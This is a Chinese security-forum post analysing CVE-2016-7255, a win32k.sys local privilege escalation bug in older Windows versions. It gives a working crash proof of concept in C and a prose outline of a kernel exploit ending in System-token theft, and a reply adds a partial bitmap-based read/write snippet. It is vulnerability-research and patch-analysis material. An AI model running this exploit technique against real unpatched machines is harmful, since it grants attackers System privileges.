首页
社区
课程
招聘
[原创]CVE-2016-7255 win32k本地提权漏洞分析
发表于: 2022-5-13 03:08 19718

[原创]CVE-2016-7255 win32k本地提权漏洞分析

2022-5-13 03:08
19718

新手初学二进制漏洞不久,也是第一次写相关的博客,如有不足和错误,请各位师傅们多多指正

win32k.sys为驱动文件,主要为应用层提供大量服务。功能上主要实现窗口管理和图形设备接口。

该漏洞是在win32k.sys中xxxNextWindow中,对于tagWnd对象内成员,只进行了是否为零的判断,而没有验证是否有效,导致可以构造内核空间任意地址写,最终实现本地提权。

Windows Vista SP2
Windows Server 2008 SP2 and R2 SP1
Windows 7 SP1
Windows 8.1
Windows Server 2012 Gold and R2
Windows RT 8.1
Windows 10 Gold,1511,and 1607
Windows Server 2016

microsoft补丁如下:
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-7255

Windows 7 SP1 x86
VMware Workstation 16 Pro
WinDbg 10.0.18362.1
IDA Pro 7.6

主要介绍一些后面会用到的结构体和函数
1.用户态窗口类结构体:WNDCLASSEX,该结构体的定义如下

其中需要关注的是cbWndExtra成员,当创建窗口实例的时候系统会根据cbWndExtra的值分配相应大小的空间
2.内核态窗口类结构体:tagWND,下面列出该结构体中需要关注的成员

3.内核态菜单类结构体 : tagMENU,只需要知道在偏移0x14存在fFlags字段

4.SetWindowLong函数

SetWindowLong函数可以用来改变窗口的属性,也可以向窗口拓展内存中写入数据,SetWindowLong最终调用了xxxSetWindowLong。
在xxxSetWindowLong中,会对传入的nIndex进行判断,当nIndex小于0时,会调用xxxSetWindowData,如下图所示。
图片描述
而在xxxSetWindowData中,当nIndex为-12(GWL_ID),且窗口的style为WS_CHILD(0x40000000)时,会将tagWND结构体中的spmenu成员的值设为传入的dwNewLong,如下图所示。
图片描述
回到xxxSetWindowLong的第79行,当nIndex+4大于tagWND结构体中的cbwndExtra(拓展内存大小),即要越界的时候,就会跳转到第70行,设置ErrorCode,并返回,如下图所示。
图片描述
当nIndex不小于零,且不存在越界的情况时,就会根据nIndex,设置拓展内存中的值,如下图所示
图片描述

该漏洞位于win32k!xxxNextWindow中,xxxNextWindow函数的反汇编如下所示
在第176行处,函数只对tagWND结构体中的spmenu成员是否为零进行了判断,而缺少了其他必要的检查,然后在177行就将spmenu偏移0x14处的地址中的值和0x4进行或操作。而spmenu,可以使用背景知识里所介绍的SetWindowLong对其进行修改,从而实现任意地址写操作。

图片描述

要验证这个漏洞主要是实现对spmenu的修改,然后通过模拟按键alt+esc,进入xxxNextWindow触发漏洞

首先是创建两个窗口hWnd1和hWnd2

然后调用SetWindowlong,将窗口的style设置为WS_CHILD

再调用SetWindowLong,将窗口的spmenu设置为0x12345678

切换焦点到窗口2,将它设置为最前方窗口

最后是模拟alt+esc按键来处罚漏洞

完整的POC如下

运行POC,此时windbg显示如下,可以看到xxxNextWindow函数执行到 or dword ptr [eax+14h], 4 时,eax存储的就是之前写入的spmenu的值0x12345678,然后读取spmenu偏移0x14,即0x1234568C处的值进行或运算, 触发访问异常,导致系统崩溃
图片描述
图片描述

本节主要介绍该漏洞利用的思路。

HMValidateHandle函数可以将匹配的对象复制到用户空间中,并返回对应的地址,最终可以获得对象在内核空间中的地址。
然后是寻找HMValidateHandle的地址,由于该函数并没有导出,但是有一个用户态函数IsMenu调用了它,如下所示,只存在一个call指令,所以可以从IsMenu的地址开始遍历,寻找特征码E8,从而获得HMValidateHandle的地址
图片描述

调用HMValidateHandle,得到了复制的tagWnd对象的地址,通过其中的成员head的pSelf字段,就可以获得tagWnd对象在内核空间中的地址,在0x90偏移处,得到了cbwndExtra成员的地址,根据漏洞实现的条件,如下所示,可以将cbwndExtra的地址-0x14+0x3 写入spmenu,实现cbwndExta最高字节与0x4进行或运算,由于cbwndExtra初始值为0,漏洞触发后,cbwndExtra的值就变为0x04000000。
图片描述

完成增大cbwndExtra后,需要再创建一个窗口2,使得该窗口2的tagWnd与触发漏洞窗口1的tagWnd相近,这样就可以调用SetWindowLong通过向触发漏洞的窗口1的cbwndExtra写入数据的同时,能够修改窗口2的tagWnd的关键成员。为此可以创建了0x100个窗口,并选取两个tagWnd对象地址相差小于0x3fd00的窗口,一个作为触发漏洞的窗口tagWnd1,另一个作为利用的窗口tagWnd2,如下所示
图片描述

现在使用SetWindowLong就可以去修改tagWnd2的成员,这里选择的位于0x34偏移处的spwndParent。然后调用GetAncestor,函数的定义如下。该函数实际调用内核态函数NtUserGetAncestor,将gaFlags设置为GA_PARENT(1),就会返回 *(tagWnd.spwndParent),所以可以将内核地址写入spwndParent成员,实现任意地址读取。

在实现任意地址写入的时候,选择的是tagWnd结构偏移0x8c处的strName.Buffer成员,通过SetWindowLong去修改Buffer,然后调用SetWindowText,函数定义如下,将要写入的值的地址作为参数传入,就可以任意值写入buffer指向的空间中。

最后就是实现提权,这里选择的就是修改当前进程的token。通过检查tagWnd结构体可以发现能够操作的地方,tagWND->head->pti->pEThread->ApcState->Process,通过一步步地调用ReadKernelMemory,就可以获得当前进程的EPROCESS结构体地址,后面只需要通过其中的ActiveProcessLinks去遍历进程链表,通过pid查找到system进程,然后调用WriteKernelMemory,将当前进程的token修改为system进程的token,完成提权,具体实现如下。

执行到此,任务管理器显示如下,可以看到本地进程的token已经和system进程的token相同,即权限已经提升成功。
图片描述

对应的漏洞补丁为KB3197868。
首先是补丁前后的xxxNextWindow的反汇编比较,如下所示,在第173行处,比原先版本新增了一处判断,即xxxNextWindow会判断tagWnd的style成员是否为WS_CHILD(0x40000000),如果窗口的类型为WS_CHILD,则不会对spmenu.fFlags进行或操作。这么做的原因是因为,最开始设置spmenu成员的时候,调用了以GWL_ID为参数的SetWindowLong,只有当窗口类型为WS_CHILD,才能够传入的参数赋给spmenu成员,此处判断能够限制窗口的类型,从而对触发的过程进行限制。
图片描述
图片描述

1.https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html
2.https://blog.csdn.net/qq_41252520/article/details/119698465
3.https://www.77169.net/html/50253.html

typedef struct WNDCLASSEX {
UINT cbSize;                //类的大小
UINT style;                 //窗口风格
WNDPROC lpfnWndProc;        //窗口处理函数指针
int cbClsExtra;             //所有窗口实例共同占用内存的大小
int cbWndExtra;             //窗口实例拓展内存的大小
HINSTANCE hInstance;        //模块句柄
HICON hIcon;                //图标句柄
HCURSOR hCursor;            //光标句柄
HBRUSH hbrBackground;       //背景刷句柄
LPCTSTR lpszMenuName;       //菜单指针
LPCTSTR lpszClassName;      //类名指针
HICON hIconSm;
} WNDCLASSEX, *PWNDCLASSEX;
typedef struct WNDCLASSEX {
UINT cbSize;                //类的大小
UINT style;                 //窗口风格
WNDPROC lpfnWndProc;        //窗口处理函数指针
int cbClsExtra;             //所有窗口实例共同占用内存的大小
int cbWndExtra;             //窗口实例拓展内存的大小
HINSTANCE hInstance;        //模块句柄
HICON hIcon;                //图标句柄
HCURSOR hCursor;            //光标句柄
HBRUSH hbrBackground;       //背景刷句柄
LPCTSTR lpszMenuName;       //菜单指针
LPCTSTR lpszClassName;      //类名指针
HICON hIconSm;
} WNDCLASSEX, *PWNDCLASSEX;
win32k!tagWND
    ...
   +0x078 spmenu             : Ptr32 tagMENU         //tagMENU菜单对象指针      
    ...
   +0x084 strName 
   +0x090 cbwndExtra         : Int4B                 //窗口实例拓展内存大小
    ...
win32k!tagWND
    ...
   +0x078 spmenu             : Ptr32 tagMENU         //tagMENU菜单对象指针      
    ...
   +0x084 strName 
   +0x090 cbwndExtra         : Int4B                 //窗口实例拓展内存大小
    ...
win32k!tagMENU
    ...
   +0x014 fFlags           : Uint4B
    ...
win32k!tagMENU
    ...
   +0x014 fFlags           : Uint4B
    ...
LONG SetWindowLong(
    HWND hWnd,               //窗口句柄
    int nIndex,              //偏移
    LONG dwNewLong           //要设置的值
);
LONG SetWindowLong(
    HWND hWnd,               //窗口句柄
    int nIndex,              //偏移
    LONG dwNewLong           //要设置的值
);
 
 
//创建窗口1
 hWnd1 = CreateWindowExW(
     0,
     lpszClassName,
     NULL,
     WS_VISIBLE,
     0,
     0,
     100,
     100,
     NULL,
     NULL,
     GetModuleHandle(NULL),
     NULL
     );
 
 //创建窗口2
 hWnd2 = CreateWindowExW(
     0,
     lpszClassName,
     NULL,
     WS_VISIBLE,
     0,
     0,
     100,
     100,
     NULL,
     NULL,
     GetModuleHandle(NULL),
     NULL
     );
//创建窗口1
 hWnd1 = CreateWindowExW(
     0,
     lpszClassName,
     NULL,
     WS_VISIBLE,
     0,
     0,
     100,
     100,
     NULL,
     NULL,
     GetModuleHandle(NULL),
     NULL
     );
 
 //创建窗口2
 hWnd2 = CreateWindowExW(
     0,
     lpszClassName,
     NULL,
     WS_VISIBLE,
     0,
     0,
     100,
     100,
     NULL,
     NULL,
     GetModuleHandle(NULL),
     NULL
     );
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
SetWindowLong(hWnd1,GWL_ID,0x12345678);
SetWindowLong(hWnd1,GWL_ID,0x12345678);
SwitchToThisWindow(hWnd2,TRUE);
SwitchToThisWindow(hWnd2,TRUE);
keybd_event(VK_MENU, 0, 0, 0);
keybd_event(VK_ESCAPE, 0, 0, 0);
keybd_event(VK_MENU, 0, 0, 0);
keybd_event(VK_ESCAPE, 0, 0, 0);
#include "stdafx.h"
#include <windows.h>
 
WCHAR* lpszClassName = L"TEST";
 
 
 
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    HWND hWnd1;
    HWND hWnd2;
 
 
    WNDCLASSEXW wcs = {0};
    wcs.cbSize = sizeof(WNDCLASSEXW);
    wcs.lpfnWndProc = DefWindowProc;
    wcs.hInstance = GetModuleHandle(NULL);
    wcs.lpszClassName = lpszClassName;
 
    if(!RegisterClassExW(&wcs))
    {
        return 0;
    }
 
 
    //创建窗口1
    hWnd1 = CreateWindowExW(
        0,
        lpszClassName,
        NULL,
        WS_VISIBLE,
        0,
        0,
        100,
        100,
        NULL,
        NULL,
        GetModuleHandle(NULL),
        NULL
        );
 
    //创建窗口2
    hWnd2 = CreateWindowExW(
        0,
        lpszClassName,
        NULL,
        WS_VISIBLE,
        0,
        0,
        100,
        100,
        NULL,
        NULL,
        GetModuleHandle(NULL),
        NULL
        );
 
 
    //将窗口1的style设置为WS_CHILD,以便后面设置spmenu
    SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
 
    //将窗口1的spmenu设置为0x12345678
    SetWindowLong(hWnd1,GWL_ID,0x12345678);
 
 
    //将窗口2设置最前方窗口
    SwitchToThisWindow(hWnd2,TRUE);
 
    //触发漏洞
    keybd_event(VK_MENU, 0, 0, 0);
    keybd_event(VK_ESCAPE, 0, 0, 0);
 
 
    return 0;
}
#include "stdafx.h"
#include <windows.h>
 
WCHAR* lpszClassName = L"TEST";
 
 
 
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    HWND hWnd1;
    HWND hWnd2;
 
 
    WNDCLASSEXW wcs = {0};
    wcs.cbSize = sizeof(WNDCLASSEXW);
    wcs.lpfnWndProc = DefWindowProc;
    wcs.hInstance = GetModuleHandle(NULL);
    wcs.lpszClassName = lpszClassName;
 
    if(!RegisterClassExW(&wcs))
    {
        return 0;
    }
 
 
    //创建窗口1
    hWnd1 = CreateWindowExW(
        0,
        lpszClassName,
        NULL,
        WS_VISIBLE,
        0,
        0,
        100,
        100,
        NULL,
        NULL,
        GetModuleHandle(NULL),
        NULL
        );
 
    //创建窗口2
    hWnd2 = CreateWindowExW(
        0,
        lpszClassName,
        NULL,
        WS_VISIBLE,
        0,
        0,
        100,
        100,
        NULL,
        NULL,
        GetModuleHandle(NULL),

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2022-5-13 14:45 被帆帆帆帆编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 173
活跃值: (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
大佬加油,学习了
2022-5-13 18:35
0
雪    币: 1
活跃值: (394)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3

bitmap版本.


```

    //将窗口1的style设置为WS_CHILD,以便后面设置spmenu

    SetWindowLong(hWnd1, GWL_STYLE, (WS_VISIBLE | WS_CHILD));


    //将窗口1的spmenu设置为 (cy - OFFSET(win7::x32::win32k::tagMENU, fFlags))

    AbritraryReadWriteBitmapsManager* gRW = nullptr;

    gRW = new AbritraryReadWriteBitmapsManager;

    if (!gRW->IsValidLayout()) {

        LOGEP("invalid layout");

        return 0;

    }


    auto cy = (char*)gRW->GetMngSurfaceYAddress();

    LOGIP("cy address: 0x%p", cy);

    auto menu = (win7::x32::win32k::tagMENU*)(

        cy - OFFSET(win7::x32::win32k::tagMENU, fFlags));

    LOGIP("menu address: 0x%p", menu);


    SetWindowLong(hWnd1, GWL_ID, (LONG)menu);



    //将窗口2设置最前方窗口

    SwitchToThisWindow(hWnd2, TRUE);


    //触发漏洞

    keybd_event(VK_MENU, 0, 0, 0);

    keybd_event(VK_ESCAPE, 0, 0, 0);

    Sleep(100);

    keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);

    keybd_event(VK_ESCAPE, 0, KEYEVENTF_KEYUP, 0);


    /// 实现任意读写

    //__debugbreak();

    if (gRW->IsSupperMngSurface())

    {

        gRW->MakeAbritraryReadWrite();

    }

    LOGIP("Raised: %s", (gRW->IsRaised() ? "true" : "false"));

```

最后于 2022-5-14 21:48 被spobit编辑 ,原因:
2022-5-14 21:46
0
雪    币: 17
活跃值: (583)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
学习了
2024-2-22 09:59
0
游客
登录 | 注册 方可回帖
返回
//